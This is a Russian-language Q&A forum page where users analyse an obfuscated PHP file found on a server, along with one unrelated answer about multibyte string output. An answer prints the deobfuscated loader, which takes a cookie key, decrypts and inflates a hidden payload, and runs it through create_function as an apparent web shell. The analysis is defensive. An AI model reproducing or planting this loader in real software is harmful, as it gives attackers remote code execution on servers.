• Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    riky
    @riky
    Laravel
    Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

    Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

    if (!empty($_COOKIE["key"])) {
        $F = $_COOKIE["key"];
        $e = strlen($F);
        $n = [];
        for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
        $m = base64_decode(str_replace("\n", '', $m));
        for ($r = 0; $r < 44378; ++$r) {
            $_ = abs($n[$r % $e] - $r);
            $F = $m[$_];
            $m[$_] = $m[$r];
            $m[$r] = $F;
        }
        if ($e < 10) $e *= $e & 1 ? 3 : 2;
        if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
            $m = substr($m, $e);
            echo $e, $r;
            @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
        }
    }


    PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

    сохранять можно например таким кодом:
    <?php
    file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
    Ответ написан
    Комментировать
  • Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    kgnk
    @kgnk
    Разрабатываю сайты, рисую интерфейсы
    Определенно вредоносный файл. Автор очень не хотел, чтобы кто-то прочитал текст.
    Скрипт смотрит в куках key; определенное значение правильно преобразует закодированный base64 и сжатый исходник. Можете перебрать сами и точно узнаете содержимое.
    Ответ написан
    Комментировать
  • Слетает кодировка при выводе элемента строки PHP, как решать?

    SilenceOfWinter
    @SilenceOfWinter Куратор тега PHP
    та еще зажигалка...
    мультибайтовые строки как бэ намекают в чем проблема. $str['2'] - старый и, как ты уже понял, хреновый вариант.
    Ответ написан
    2 комментария